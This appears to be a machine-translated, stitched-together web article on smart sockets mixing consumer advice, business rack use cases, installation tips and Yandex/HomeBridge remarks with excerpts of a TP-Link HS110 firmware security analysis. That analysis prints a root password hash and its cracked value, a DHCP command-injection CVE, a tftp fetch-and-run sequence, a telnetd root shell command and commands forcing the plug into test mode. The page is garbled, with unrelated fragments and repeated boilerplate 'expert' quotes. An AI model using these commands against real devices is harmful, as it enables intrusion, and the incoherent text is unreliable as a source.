How to Control a Smart Socket Remotely • Simpal t2016a


The smart plug is one of the most useful household gadgets we've ever reviewed. It allows you to save money, secure your home, and remotely control various gadgets - in a word, another “twist” for your smart home. Today, among 1600 models, we have chosen for you 4 smart GSM sockets with a Wi-Fi connector - choose what is right for you. But first, according to tradition, an educational program.

Turn off electrical appliances when the network overheats and control energy distribution. By manually setting consumption standards, you will no longer overpay for electricity if you suddenly forget to turn off any electrical appliance.

Turn off and turn on using a signal from your smartphone - you just need to press one button, wherever you are. Now no irons forgotten in a hurry and turned on are no problem. And at home you will always have a hot kettle waiting for you; you just need to connect it to a smart socket and use your smartphone to turn it on before coming home.

Turn on and off according to a schedule. It is especially useful if you regularly need to heat a room, for example, a home greenhouse.

Automatically turn off faulty electrical appliances to avoid short circuits.

Monitor the condition of the electrical appliance. Any abnormal increase in temperature and fire will be immediately detected, a notification will be sent to the smartphone and a fire alarm will be activated (if such a system is installed).

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

They are affordable and portable; in addition, their installation does not require any special skills or tools. If there is something you don’t understand, write to me!

How a smart plug works

If you are not comfortable receiving SMS, you can control it by simply calling the device or installing a special mobile application. Unfortunately, not all sockets can be controlled via mobile applications yet, but this is becoming increasingly popular.

Another popular application: connecting to a heating system outlet. Before leaving for the dacha, you turn on the heating with one SMS message and arrive to a warm home. You can set the operation so that a certain temperature is maintained in the room, since the outlet is equipped with a corresponding sensor.

In the summer, you can connect an irrigation system to a smart outlet in the same way.

Most sockets on the market are compatible with all major household appliances: the maximum power of connected devices is limited to 3 kW, this is enough to connect even devices such as an electric kettle, air conditioner or oil radiator.

How to turn on the heating in your dacha using your phone? The easiest and cheapest way is a smart socket

Turning on the table lamp when the door is opened Window and door opening sensor + socket + table lamp

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

They are affordable and portable; in addition, their installation does not require any special skills or tools. If there is something you don’t understand, write to me!

Instead of an epilogue

Using SMART sockets is a way to add additional comfort to your life by transferring some of the functions for controlling household appliances to these devices. In addition to comfort, with their help you can increase the safety of using household electrical appliances and achieve significant energy savings. If you have any questions regarding the use of smart plugs, feel free to post them in the comments. We ensure that through discussions and debates, truth will emerge that will help you solve the problem.

Advantages of a smart plug:

  • „Remote control via phone, smartphone or tablet.
  • Ability to control ambient temperature.
  • “Turning on and off devices according to a schedule.
  • “Timely notification of power outages.

The simplest smart socket can perform such functions. At the same time, there are more complex options, for example, in the form of a surge protector with several output connectors (you can connect several electrical appliances). As a rule, there are options for 2, 3 or 4 outputs. They can be controlled simultaneously or separately.

What kind of lighting do you prefer?

Built-in Chandelier

Modern models can be connected to each other via radio or via the Internet, some are additionally equipped with a USB adapter. It connects to a router, which monitors commands coming either through a smartphone app or from a computer. The maximum distance for receiving a signal from the router is 30 m.

Examples of using

Example 1: Adding managed outlet functionality to unmanaged PDUs

Scope of application:

Installation in switching cabinets and racks in uncontrolled blocks of horizontal and vertical sockets to control selected equipment (turn on/off/reboot);

Scenario description:

The device is installed in a rack or cabinet where power management is required for a specific device, but there is no technical possibility to install a full-fledged IP PDU (buying and replacing an unmanaged PDU with an IP PDU is more expensive than plugging a couple of our devices into those sockets where control is required). As a rule, such a cabinet is limited in space and has a “situational” (without planning) placement of equipment and communications.

Typical scenario 1:

A cabinet with IT equipment is being designed. A horizontal uncontrolled PDU with 8 sockets is installed to power the cabinet. The cabinet requires 2 controlled sockets (for power management of the router and for power management of the server where the 1C keys are connected). Replacing an unmanaged PDU with a managed one is expensive; to install it you need to allocate a separate shelf and take up 1U of space; the power wiring diagram will become confusing. The optimal solution is to include controlled sockets directly into the sockets of the uncontrolled PDU, which will not take up special space and will not confuse the power wiring in the cabinet.

Typical scenario 2:

For a small company (or a remote office of a large company) a 19′ 6U cabinet with IT equipment was installed. The closet contains: a router, a server/NAS for a local file archive, a UPS, a VDSL modem for connecting to the Internet, a telephone gate with an Internet connection. Remote system administrator.

The task arises of rebooting the VDSL modem by command remotely or automatically due to lack of ping. Since the budget is limited and only one outlet needs to be controlled, the simplest and cheapest device that performs the desired task is selected.

Audience: B2B Engineers serving server rooms, remote switching facilities (last mile) (providers, integrators).

Tasks:

  • turning on, off, rebooting the socket with the consumer in manual mode via the web interface, via SNMP;
  • automatic reboot of frozen equipment using the “Watchman” module.

Example 2: Remote control of stand-alone IT equipment

Scope of application:

Installation in places where there is no space, special mounts for installing IP PDU devices. Those. free-standing Wi-Fi points, Ethernet switches, VDSL modems, printers connected to the Ethernet network.

Scenario description:

It is necessary to provide power management for stand-alone IT equipment. In this case, it is necessary that this outlet be controlled using a local interface with a connection to an Ethernet network via Wi-Fi (cloud control or control via Bluetooth via an application on the phone is not allowed).

Typical scenario:

Wi-Fi access point is installed on the windowsill in the office. There is no other IT equipment near it. You need to manage the power of this access point. In this case, installing a standard power distribution unit (IP PDU) is irrational both in terms of price and the size of the device itself. Cloud-based household controlled sockets controlled by an application from the cloud cannot be integrated into the existing IT infrastructure (the system administrator cannot manage them from his favorite command line). In this case, choosing our outlet will be the most justified.

Example 3: Temporary connection of equipment via a controlled outlet

Scope of application:

Installation in switching cabinets and racks in uncontrolled blocks of horizontal and vertical sockets to control selected equipment (turn on/off/reboot);

Scenario description:

For diagnostic and testing purposes, it is convenient to gain remote control over the outlet where the network equipment is plugged in on a temporary basis. Those. we quickly connected it to a place where we didn’t even plan to install an IP PDU - we tested what was needed and after some time we disconnected it and returned it to an unmanaged PDU.

Our socket is convenient for any network administrator to have and use according to the situation.

Audience: B2B Engineers serving server rooms, network administrators, remote switching facilities (last mile) (providers, integrators).

Tasks:

  • turning on, off, rebooting the socket with the consumer in manual mode via the web interface, via SNMP;
  • automatic reboot of frozen equipment using the “Watchman” module;
  • monitoring of power consumed by the load.

Typical scenario:

There is a server with two power supplies. The server is installed in a 24U 19′ cabinet, in which separate power inputs come from 2 independent unmanaged PDUs. The system administrator has a suspicion that a failure occurs on the server if, at a time of high load, there is a loss of power on one of the inputs. To check, you need to connect each server power supply to the inputs through a controlled socket in order to simulate a power failure (you cannot manually simulate a power failure, the server is in a rack with other operating equipment and there is a risk of snagging other cables). Compact IP PDUs of a non-19' form factor are inconvenient; they need to be somehow attached to wires in a rack where there is no room for this). In this case, our smart compact socket, which is plugged directly into a regular socket, has advantages.

How a smart plug works

The operating principle of the device is based on the use of a conventional relay. When receiving a signal from a remote control, smartphone, tablet or other gadget, turns on or off electrical equipment connected to the outlet. The first models of smart plugs required the presence of a SIM card, and they were controlled using SMS or a call on a mobile phone.

Nowadays, Wi-Fi and bluetooth are widely used to monitor and control the socket. The presence of these connections allows you to turn an ordinary smartphone into a remote control; to do this, just install a special program in the gadget that transmits a signal to the device controller.

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

First you had to ask Alice to activate the skill or say a phrase like Alice, ask Alfred for the name of the skill to turn on the light in the kitchen. If there is something you don’t understand, write to me!

We examine the TP-Link HS110 firmware

The next step, the authors downloaded the official firmware for the device HS110(US)_V1_151016.zip and set binwalk on it to analyze the content.


Firmware contents HS110(US)_V1_151016.zip

As you can see, the firmware contains a regular Linux system, consisting of three parts:

  • U-Boot Bootloader 1.1.4 (Oct 16 2015 - 11:22:22);
  • Linux Kernel 2.6.31 - LSDK-9.2.0_U11.14 ( [email protected] );
  • Squashfs filesystem.

The authors found the following interesting files in the file system:

  1. /bin/busybox v1.01 (2015.10.16 - 03:17+0000).
  2. /etc/newroot2048.crt - This certificate is used to verify the cloud server. The file contains a VeriSign Class 3 Public Primary Certification Authority - G5 root certificate. This means that when a TLS connection is established to the cloud, it is checked whether the certificate provided by the server is signed using Symantec VeriSign CA for Extended Validation (EV) certificates (CA pinning). An attacker can buy his own EV certificate and use it for his server to make it look like a cloud.
  3. /etc/shadow - after decryption it turned out that the password is media
    root:7KBNXuMnKTx6g:15502:0:99999:7:::
  4. /usr/bin/shd is the main server application.
  5. /usr/bin/shdTester - client for calibrating the energy screen.
  6. /usr/bin/calDump - dump calibration data from /dev/caldata.

All the proprietary server logic is in the shd (Smart Home Daemon) executable, which is a MIPS32 R2 Big Endian:

shd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size

It also contains OpenSSL 1.0.1j 15 Oct 2014 for establishing a TLS connection to a cloud server.

What will work in a smart home without the Internet?

  • the number of plug connectors must correspond to the expected number of consumers;
  • It is advisable to use the outlet at 70% of the rated power, leaving 30% for unforeseen circumstances;
  • a smart socket that controls home heating and climate control systems must be equipped with an uninterruptible power supply (battery or capacitor). In the event of a power outage, this will save the user from having to re-configure the device’s operating program.

Types of smart plugs

All existing modifications of the device can be classified according to two main characteristics:

By installation method

Built-in

Internal sockets are not removable modules and are installed permanently, like regular sockets. Such devices are part of the electrical wiring common to the entire building.

Internal smart sockets are usually installed together with other elements of the smart home system. Most often, the internal type of sockets are made to order and are quite expensive. It is best to entrust the installation and configuration of these devices to professional electricians.

External

Interesting. External modifications of smart sockets are much more practical than internal modules. They are affordable and portable; in addition, their installation does not require any special skills or tools. Most often, external modules are used separately from the main elements of the smart home system.

By control method

Based on the control method, smart sockets can be divided into three groups:

Radio controlled sockets

The principle of operation of such devices is that the receiver receives a radio signal from a transmitter located in a small-sized mobile control panel. With one remote control you can control the operation of 8 sockets. The range of such a remote control, as a rule, does not exceed 70 m.

The power supply is supplied from the network, the remote control is supplied from batteries. On the remote control, each serviced outlet has two buttons: on/off. After installing the smart socket into a regular one, you need to configure the device. When moving, if the operating mode of the connected device has not changed, there is no need to change the settings.

Some models of radio-controlled smart sockets provide the ability to control not only from a remote control, but also directly from the device itself. For this purpose, there are special keys on the device body. Radio-controlled sockets are produced exclusively in outdoor versions. The advantages of such models include the following factors:

  • no need for installation work during installation;
  • the ability to control several sockets from one remote control;
  • affordable price;
  • the ability of the control radio signal to pass through wooden, brick and reinforced concrete walls;
  • Smart functions require a small amount of electricity to perform.
  • possible false triggering of controlled household appliances;
  • metal and metal-containing building structures significantly reduce the power of the control signal;
  • The control radio signal may negatively affect the operation of electronic systems within its range.

Connection errors

If, when checking the connection, there is no connection, it is possible that errors were made during the installation or connection of the twisted pair. Such cases include:

  • For self-installation, type “B” is used, and the connector and modem were purchased already assembled. If you do not check the type of connection, it may turn out that the socket is connected to one type, and the wire to another - type “A”. Because of this, the connection will not occur. You need to look at how the connector is crossed, and then do the pinouts of the twisted pair.
  • While installing the twisted pair into the terminals, an attempt to strip it with a knife damaged the wire sheath. In order to ensure switching, it is necessary to insert the contacts into the grooves and make the correct crimp.
  • The wire was left too long. To connect the Internet socket, you need to leave no more than 20 cm. If the wire is left at 30-40 cm, the socket will dangle and you will have to shorten it. And to do this, you will have to repeat the entire installation procedure again.
  • During installation, everything was done correctly, but the socket still does not work. This means, most likely, that a non-working device with a manufacturing defect was purchased. There are many well-known manufacturers of Internet sockets on the market who guarantee the quality of their products. Therefore, it is better to purchase such sockets.

By contacting the specialists of our company, you can avoid many problems. We will help you select high-quality and inexpensive equipment, carry out qualified installation of SCS, installation of video surveillance systems, installation of access control systems and test the SCS for compliance with the category with a verified device.

What else can be used in conjunction with smart plugs?

Turn on/off connected devices according to a schedule. A cyclic type timer socket that repeats the execution of proven functions. A given timer cycle can be repeated for years without the need for resetting.

Socket-meter for electricity consumption wattmeter/voltmeter/ammeter (power, voltage meter, electricity meter) TS-838 is designed for measuring and monitoring energy consumption by various electrical appliances, equipped with the ability to set the price of a kilowatt-hour (including 2 tariffs), which allows you to find out the total cost of consumed electricity.

The wattmeter socket-meter for electricity consumption (electricity meter) is designed to measure and control the energy consumption of various electrical appliances, equipped with the ability to set the price of a kilowatt-hour, which allows you to find out the accrued cost of consumed electricity.

TOP 5 smart GSM sockets that save energy in 2022: selection criteria, comparison of the best models

For modern smart plugs, this figure can range from 1.8 to 3.5 kW, in other words, the maximum current that the device’s internal relay can withstand is from 8 to 16 A.

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

Initially, a smart socket was created for the home to control the operation of kettles, washing machines, water heaters and other household appliances. If there is something you don’t understand, write to me!

Model comparison table

In order to more clearly compare the models presented above, we will use the comparative table of characteristics.

Let's look at how to connect a smart socket to the electrical system of your home.

Here is a short list that briefly and clearly describes each stage of installing a smart plug indoors:

  1. The socket is connected to the network, and a certain indicator that the device is ready for use is expected to light up (described in more detail in the manufacturer’s instructions).
  2. A special application is installed on the smartphone, purely individual for each manufacturer.
  3. In the application, you need to add a new device (socket) by enabling the room scanning function with automatic search and connection.
  4. After detection and connection, you need to wait until the device is ready for use (in most cases, an LED indicator on the socket body).
  5. Now you can use the model from anywhere in the world (the main thing is the presence of the Internet).

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

The vast majority of outdoor sockets are made in white or light colors, which allows them to easily fit into any interior. If there is something you don’t understand, write to me!

What about our beloved HomeBridge?

The HomeBridge system is not an independent tool for controlling a smart home. As the name implies, this is just a connecting link that allows gadgets from different ecosystems to work in HomeKit.

In other words, HomeBridge is not responsible for sending or receiving control signals, does not participate in automation scripts, and does not control other devices.

Our “raspberry” with a similar “bridge” only recodes signals from ones understandable for gadgets to understandable for HomeKit and vice versa.

All this works great without the Internet. Of course, you can add a plugin, update an existing one, or connect a new gadget only if you have the Internet, and the existing system will work locally.

Conclusion: HomeBridge will not become an unnecessary obstacle to the operation of a smart home in the absence of the Internet.

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

The socket is connected to the network, a certain indicator of the device’s readiness for use is expected to light up, as described in more detail in the instructions from the manufacturer. If there is something you don’t understand, write to me!

BusyBox

The provided version of BusyBox from the firmware is affected by the CVE-2011-2716 command injection vulnerability in the udhcpc (DHCP client) component. It allows you to embed commands in one of the following DHCP options:

  • (12) Hostname;
  • (15) Domainname;
  • (40) NIS Domain;
  • (66) TFTP Server Name.

After analyzing the executable file, the authors found that shd creates a shell script /tmp/udhcpc.script:

#!/bin/sh if[ $1 = renew –o $1 = bound] then ifconfig $interface $ip netmask $subnet route del default route add default gw $router echo “nameserver $dns” > /tmp/resolv.conf fi

and then udhcpc is executed:

/sbin/udhcpc –b –H “HS100(US)” –i br0 –s /tmp/udhcpc.script

Unfortunately, here the hostname is hardcoded and other options are not used. So the vulnerability is not exploitable.

How to make everything work locally

Here we come to the limit of our beloved HomeBridge system. To develop a smart home further, you will have to move up a level and set up a full-fledged alternative system for controlling gadgets in the house.

There are quite a few alternatives, but their main advantage is independence from external servers, Chinese clouds or smartphones/tablets/computers used.

To do this, there must be a server with a similar system at home or a specialized gadget that will serve as a hub. Unfortunately, not all devices can be connected, because this requires the so-called developer mode , which allows gadgets to work with alternative systems.

Almost all of our favorite Xiaomi devices have this mode, which means that the scope for experimentation is limited solely by our imagination.

I invite those who are a little in the know to vote for the management system they are most interested in, so that in the future we can begin to build and develop it.

To bookmarks

INFO

This piece of debugging code had previously surfaced in a vulnerability in TP-Link routers in 2013, which could be triggered using a hidden address on the TP-Link http/tftp backdoor web server.
The wlan_start_art function executes the following commands:

LD_LIBRARY_PATH=/tmp arping –I br0 –c 1 192.168.0.100 tftp –g 192.168.0.100 –r ap_bin/ap121/art.ko –l /tmp/art.ko insmod /tmp/art.ko tftp –g 192.168.0.100 –r ap_bin/ap121/nart.out –l /tmp/nart.out chmod +x /tmp/nart.out /tmp/nart.out –instance 0 &

These commands connect to the FTP server, download the nart.out file, make it executable, and run it. For successful operation, it is enough to create a shell script with the same name and place it at the desired address. It will be enough to even start the telnetd daemon:

/bin/busybox telnetd –l/bin/sh &

By the way, this mode can be launched remotely. There is a JSON command set_test_mode for this:

./tplink-smarthome.py -t 192.168.0.1 -j '{"system":{"set_test_mode":{"enable":1}}}'

A special flag will be installed in the device memory, which is checked during the boot process. Therefore, you need to reboot the device:

./tplink-smarthome.py -t 192.168.0.1 -c reboot

After this, the device will try to connect to the hs_test network and the password is 12345670.


Data for the “test” network

To install the hs_test access point, the authors used hostapd with the following hostapd.conf configuration file:

interface=wlan0 driver=nl80211 ssid=hs_test wpa=2 wpa_passphrase=12345670 channel=1

Alas, the developers have made a fuss here. The behavior in test mode does not differ from the standard one. Although the code contains a call to wlan_start_art, the script is not loaded and executed. These lines may have been commented out.

Operating experience and conclusions

The first day the system delivers only positive emotions, you demonstrate the management of the house to all visiting friends and acquaintances. English-speaking smart home and HomePod owners felt something similar last year.

Later you begin to notice the shortcomings and mistakes of the developers.

The main problem is that the Yandex service is cloud-based and there are no prerequisites for Alice to learn to live locally on devices (at least with a minimum set of capabilities).

Xiaomi gadgets are also controlled through Chinese servers, and when services are combined, it turns out that the signal from a speaker to a light bulb, with a couple of meters between them, travels across half the globe.

In most cases, the delay is 1-2 seconds, but it happens that the team is delayed on the way even by 10-15 seconds. It happens that the signal does not arrive at all.

The crookedness of the Yandex application is frustrating. The interface is as confusing as possible for such a simple program. The application simply opens a browser with a web interface.

In this case, the user has two Back buttons. One to return to the previous section of the application, and the other to the web interface section.

Fortunately, you only need to use the application when adding new devices and editing scripts.

Otherwise the service turned out to be usable. This is not a replacement for the existing ecosystem, but an addition for convenient voice control.

Each of you has already built your own environment with gadget settings and automation scripts, continue to use it, and for voice control, send it all to Yandex. This way, in case the latter fails, the usual methods of interaction will always remain.

I wouldn’t buy smart sockets, light bulbs and remote controls from Yandex just for this reason.

Continue building your ecosystem, for example, based on HomeKit, or limit yourself to the Mi Home interface with Siri or Alice commands.

To bookmarks

The best GSM socket - ZDK GSM SC-1 White

Nowadays, Wi-Fi and bluetooth are widely used to monitor and control the socket. The presence of these connections allows you to turn an ordinary smartphone into a remote control; to do this, just install a special program in the gadget that transmits a signal to the device controller.

Expert opinion

Viktor Pavlovich Strebizh, lighting and electrical expert

Any questions ask me, I will help!

The plastic case contains the main elements: a button, a GSM switch, a card slot, a port for a temperature sensor and a service connector. If there is something you don’t understand, write to me!

Rating
( 1 rating, average 5 out of 5 )
Did you like the article? Share with friends:
For any suggestions regarding the site: [email protected]
Для любых предложений по сайту: [email protected]